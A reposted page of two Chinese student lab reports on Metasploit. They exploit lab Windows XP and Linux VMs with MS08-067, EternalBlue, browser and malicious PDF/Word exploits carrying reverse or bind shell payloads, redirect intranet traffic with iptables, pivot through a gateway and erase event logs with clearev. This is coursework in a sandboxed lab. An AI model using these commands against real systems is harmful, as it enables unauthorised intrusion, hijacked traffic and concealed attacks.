Exp6 MSF应用基础
Posted 20201315林梓祺
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp6 MSF应用基础相关的知识,希望对你有一定的参考价值。
一、实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1 一个主动攻击实践,尽量使用最新的类似漏洞; (1分)
1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)
1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)
1.4 成功应用任何一个辅助模块。(1分)
二、实践过程
(一)创建靶机
将windows XP作为靶机
按https://blog.csdn.net/linxinfa/article/details/112768896创建好靶机后,配置共享文件夹
xp系统打开cmd,再输入ipconfig指令查看其IP。
xp:192.168.136.132
kali:192.168.136.129
查看两台主机网络是否互通,互ping发现网络是互通的。
(二)一个主动攻击实践
1. 利用ms08_067漏洞攻击Windows XP
攻击者试探靶机是否存在此漏洞 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.136.132
存在漏洞信息。
启动 msfconsole
,输入search ms08_067
查找该漏洞使用的攻击模块,攻击模块为exploit/windows/smb/ms08_067_netapi
输入info exploit/windows/smb/ms08_067_netapi查看模块具体的信息。
use exploit/windows/smb/ms08_067_netapi //选择使用的渗透模块
set payload generic/shell_reverse_tcp //使用的payload
set RHOSTS 192.168.136.132 //设置靶机IP
exploit
结果是能够发现靶机的型号,但无法建立连接。显示渗透已完成,但没有建立会话。
2.利用ms17_010_eternalblue漏洞攻击Windows
选择auxiliary的scanner扫描功能,检测靶机是否存在smb_ms17_010的漏洞。
发现
对靶机进行攻击
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.136.132 靶机IP //设置靶机IP
exploit
获得shell,输入ipconfig
和dir
成功运行
(三)一个针对浏览器的攻击
1.利用ms06_013_createtextrange漏洞攻击Windows XP SP3的IE浏览器
(1)设计攻击模块及参数
use exploit/windows/browser/ms06_013_createtextrange //选择使用exploit漏洞
set payload windows/meterpreter/reverse_tcp //选择payload
show options //查看所需调的参数
exploit //开始攻击
在XP的IE浏览器打开http://192.168.136.129:8080/krNzcum浏览器开始从0-100计时。
(四)一个针对客户端的攻击
1.Adobe
msfconsole //进入控制台
search adobe //搜索与adobe有关的漏洞
use windows/fileformat/adobe_cooltype_sing //选择使用此漏洞set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看需要配置的参数选项set LPORT 1315 //设置端口号set RHOST 192.168.136.132 //设置靶机IP地址set FILENAME lzq.pdf //设置生成的PDF文件名
exploit //生成.pdf文件
将生成的PDF文件复制到XP虚拟机中
在kali中开启监听
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看需要配置的参数选项
set LPORT 1315 //设置端口号
set RHOST 192.168.136.132 //设置靶机IP地址
exploit //开启监听
在靶机中使用Adobe Reader打开pdf
攻击成功
(五)成功应用一个辅助模块
1.sniffer嗅探
在kali的msfconsole中输入以下代码
嗅探:可以获取网络上流经的数据包。
use auxiliary/sniffer/psnuffle //选择攻击操作
show options
exploit
在靶机上访问IE浏览器,即被嗅探到。
三、遇到的问题
创建共享文件夹时找不到选择的文件夹
重新安装VMware Tools解决
四、实践问题回答
用自己的话解释什么 是exploit,payload,encode。
简单地说,exploit是利用系统或软件中的漏洞的一段代码或技术。它通常用于获得对系统的未经授权的访问或控制。
payload是攻击中实际执行所需操作的部分,例如执行命令或下载文件。它本质上是交付给目标系统的“有效载荷”。
encode是指将数据转换为特定格式或表示的过程。在利用和有效负载的上下文中,编码通常用于混淆有效负载,使其更难以检测或分析。这可以使用各种编码技术来实现,比如base64编码。
总之,exploit是利用漏洞的方法,payload是执行所需操作的实际代码,encode是用于混淆有效负载的技术。
五、离实践还缺什么技术或步骤
经过这次实践,将病毒和后门程序真正展现起作用才是最重要的,我们需要利用社会工程学,引诱被攻击用户在靶机上打开对应的文件或链接。搜集靶机的漏洞信息至关重要,只有搜集到了其主机存在的漏洞才能进行下一步的攻击。除此之外,自己还需要加强解决问题和随机应变分析问题的能力,做到心中有数。
六、实践心得体会
在本次实验前,我们已经使用过多次msf,但这是第一次系统地学习使用方法。通过本次实验,进一步了解了msf平台能够实现的恶意攻击行为,了解了多个模块对应实现的功能,对exploit和payload有了更进一步的理解。我逐渐学会了展开攻击的一个具体思路,在以后的实践中还要多加练习。
Exp 5 MSF基础应用
Exp 5 MSF基础应用
0x0 实验环境
本次实验的环境取自《Metasploit渗透测试魔鬼训练营》中的靶机镜像。
- 初始攻击点:Kali linux,IP地址:10.10.10.128
- 网关服务器:linux metasploitable(Ubuntu 8.04),IP地址:eth0(10.10.10.254),eth1(192.168.10.254)
- web服务器:OWASP BWA v0.94,IP地址:10.10.10.129
- windows靶机1:windows xp SP3 English,IP地址:192.168.10.130
- windows靶机2:windows xp SP3 English,IP地址:192.168.10.131
按照书中的说法,我的Kali攻击机所在的网段10.10.10.0/24
模拟的DMZ区(非军事区),windows靶机所在的网段192.168.10.0/24
模拟的是企业内网。
由于虚拟机迁移到wmware后的显示问题,以及为了更加接近实战,我用ssh登录vmware虚拟机中的Kali linux,完成这次实验。
我在自己主机上用到ssh终端是MobaXterm。
0x1 查点——辅助模块的使用
首先我们要让metasploit连接到postgresql数据库,这样才能导入一些辅助模块的插件。
我之前没有创建数据库,用msfdb init
创建一个,然后输入msfdb run
启动metasploit,同时连接数据库。
对于攻击web应用来说,我们还没有什么基础和经验,现在外围搜集一下情报也是好的。
使用wmap扫描器
metasploit内置了wmap Web扫描器,可以对网站进行集中扫描。这里的目标依然是www.dvssc.com。
使用wmap,相当于一次使用多个辅助模块对目标进行查点(一定没有人和我重复了)
输入load wmap
加载wmap扫描器。
将www.dvssc.com作为扫描目标,输入如下内容:
这次扫描中使用到的辅助模块有这么多,可以直接一次执行:
输入wmap_run -e
开始扫描
wmap结果分析
版本信息
我们可以看到服务器的版本,中间件版本,语言版本。
如果能够渗透成功,我们得到的webshell是PHP的。
robots.txt文件
robots.txt文件是网站用来告诉搜索引擎的爬虫抓取页面时要遵循的规则。
robots.txt中的目录和文件应该是我们关注的重点。
目录扫描
我们对www.dvscc.com进行目录扫描,结果非常杂乱:
我们可以看到 PHP,wordpress这些字眼。
该web服务器的CMS可能是wordpress,如果能够有更多信息,或许可以从wordpress的漏洞下手。
漏洞信息
输入vulns
可以显示漏洞信息
db_nmap扫描
由于这次实验的重点不在web应用的攻防,我们把目光从web服务器上移开,看看DMZ区有没有其他的可突破的地方。
使用nmap的sn选项对DMZ区的主机进行探测
实验环境中,网关服务器的IP是10.10.10.254,如果拿下了它,就可以把它当作跳板,进入内网了!
nmap探测操作系统与服务类型
我们先看一下网关服务器(10.10.10.254)的系统信息,使用nmap的-O选项即可
我们只能知道网关服务器的操作系统内核是Linux 2.6,还需要更多的信息。
那么,直接使用nmap的-sV选项,就能探测网关服务器的服务信息。
确定攻击思路
我们先列出扫描的结果,然后更加结果来确定攻击的思路。
目标 | 操作系统 | 开放端口 | 服务 |
---|---|---|---|
网关服务器(10.10.10.254) | Linux 2.6.x(ubuntu) | FTP(21) | ProFTPD 1.3.1 |
SSH(22) | OpenSSH 4.7p1 | ||
telnet(23) | Linux telnet | ||
smtp(25) | Postfix smtpd | ||
http(80) | Apache httpd 2.2.8((Ubuntu) PHP/5.2.4-2ubuntu5.10) | ||
netbios-ssn(139) | Samba smbd 3.x - 4.x | ||
netbios-ssn(445) | Samba smbd 3.x - 4.x | ||
mysql(3306) | MySQL 5.0.51a-3ubuntu5 | ||
postgresql(5432) | PostgreSQL DB 8.3.0 - 8.3.7 | ||
ajp13(8009) | Apache Jserv (Protocol v1.3) | ||
http(8080) | Apache Tomcat/Coyote JSP engine 1.1 |
根据这张表,我们有如下几个大致的攻击方向:
- 口令嗅探与猜测:FTP,SSH,Telnet,MySQL,PostgreSQL(但是需要自己提供口令字典)
- 系统漏洞利用:Samba,smtp
- web应用漏洞:Apache,Tomcat
由于我们现在对web应用的攻防不熟悉,暂时不从这里着手。
metasploit口令猜测需要自己提供口令字典(比如:auxiliary/scanner/ssh/ssh_login辅助模块),但我们还没有,暂时不从这里着手。
我们选择利用系统漏洞,主动攻击这条路(其实是为了达到实验要求)
0x2 称霸DMZ区——主动攻击系统服务
实际上,仅仅靠我们现在搜集到的信息是不足以确定渗透模块的,但是限于篇幅(还有本人水平有限),我们直接上手拿到网关服务器的shell。
拿下网关服务器——利用CVE-2007-2447漏洞
严格意义上说,仅凭借刚才查点得到的信息是不能知道网关服务器有这个漏洞的(因为《Metasploit魔鬼训练营》中给出了这个例子,我才知道网关服务器上有这个漏洞)
最多知道个Samba的版本号为3.0.20,或许存在CVE-2007-2447漏洞,就算是碰运气撞到的吧(前面的查点完全是为了应付这次实验,并没卵用……笑)
使用exploit/multi/samba/usermap_script模块,这个模块的评价可是excellent!
非常可惜,这个渗透模块好像不支持Meterpreter的payload,这里选择netcat吧。
拿到shell了,但接下来该怎么办呢?
将shell升级为Meterpreter
只是用netcat太不方便了,最后还是能够使用Meterpreter。我们可以将shell升级为Meterpreter!
新开启一个netcat会话,用exploit -z
把它放到后台。
然后用session -u
选项,将它升级为Meterpreter
接着,可以“胡作非为”了。
输入ifconfig
可以看到,网关服务器的另一张网卡连接的网段。
接下来,我们就要攻击192.168.10.0/24这个网段中的主机了。
攻破后台服务器——利用MS08-067漏洞
其实DMZ区还有一台windows server 2003服务器,这上面的Oracle数据库是有漏洞的,对应的Metasploit渗透模块是:exploit/windows/oracle/tns_auth_sesskey。
但是这个渗透攻击模块利用起来很困难(《Metasploit魔鬼训练营》上的做法是自己调试改造这个攻击模块),不一定能成功。
我们只能用MS08-067这一“著名”漏洞了,但这个漏洞也不太好利用,它的成功率非常依赖目标的操作系统。
使用nmap脚本进行漏洞扫描
nmap已经有默认的NSE脚本对该漏洞进行漏洞扫描了。用--script=smb-vuln-ms08-067
选项,得到如下结果:
的确,这个服务器包含MS08-067漏洞。
利用MS08-067漏洞
使用ms08_067_netapi渗透模块,配置好参数:
一定要设置好TARGET选项,不要使用自动识别,针对MS08-067漏洞的攻击的参数设置要特别小心。
我之前选择的payload是Meterpreter的,但是失败了,参考了《Metasploit魔鬼训练营》,改用了generic/shell_reverse_tcp,这才成功
不过不要紧,shell是可以升级为Meterpreter的,依旧是使用sessions -u <ID>
命令
等待片刻,获得Meterpreter会话
0x3 控制内部网络——客户端攻击
接下来我们准备实施客户端渗透攻击,构造恶意网页,在内网的主机访问公司门户网站时,从而获得控制权。
但是,让用户在浏览器中输入Kali的IP并访问有些不现实。用户可能会访问的是web服务器,然而我们没有拿下DMZ区的web服务器,该怎么办?
我们之前拿下了连接DMZ区和企业内网的网关服务器,可以在网关服务器上做手脚。
准备工作——流量重定向
既然拿下了网关服务器,直接把内网主机的流量重定向到Kali上不就行了!
但是这个动静比较大,很容易暴露自己,不过只是实验,无所谓了(等学习了web攻防以后,再拿下web服务器吧)
刚开始,内网主机是可以访问web服务器的
我们在网关服务器上用iptables设置这样一条规则
iptables -t nat -A PREROUTING -p tcp --dport 80 -s 192.168.10.0/24 -j DNAT --to 10.10.10.128
现在,我们通过iptables把流量重定向到Kali上,内网主机再次访问web服务器就会失败。
针对浏览器的攻击——IE浏览器极光漏洞MS10-002
使用ms_10_002_aurora渗透模块,设置如下参数:
输入exploit -z
,等待主机上钩。让内网的主机再次访问www.dvssc.com
:
什么画面也没有!而此时Kali上的情况是这样的:
拼手速的时候到了,用户很可能会关闭浏览器,这样就导致我们的工作前功尽弃了。
必须立刻做进程迁移
这下可以安心了!不过还得见好就收,把网关服务器的iptables的配置改回来。
客户端渗透攻击——利用MS11-006构造恶意word文档
接下来我们使用windows/fileformat/ms11_006_createsizeddibsection模块进行客户端渗透攻击。
之所以选择这个模块,是因为内网的主机为windows xp SP3 English版本,而且都装有word。
配置参数如下:
不过有个问题,怎么把文件传给主机呀?,这次实验好像没法模拟,就当是发邮件过去的吧!
(骗用户打开恶意文档也是个技术活)
在Kali上监听Meterpreter的会话,然后打开xp主机上的恶意文档。
这个攻击触发的条件有点苛刻,需要以缩略图(thumbnails)的方式才能成功。
也就是说,用户没有用缩略图的方式打开的话,攻击就不会触发。
这样的客户端渗透攻击最好配合社会工程学,才能发挥最大功效。
0x4 擦屁股开溜——清理入侵痕迹
为了避免自己的行踪暴露,防止入侵行为被发现,我们在完成入侵后必须“擦屁股”。
直接使用Meterpreter的clearev命令就可以清楚事件管理器的日志。
只不过这属于后渗透模块的东西了,不在本次实验的关注点里。
以上是关于Exp6 MSF应用基础的主要内容,如果未能解决你的问题,请参考以下文章
2019-2020-4 20174322童硕《网络对抗技术》Exp6 MSF基础应用
2019-2020-2 20175326 李一潇《网络对抗技术》Exp6 MSF基础应用
2020-2021-4 20175229《网络对抗技术》Exp6 MSF基础应用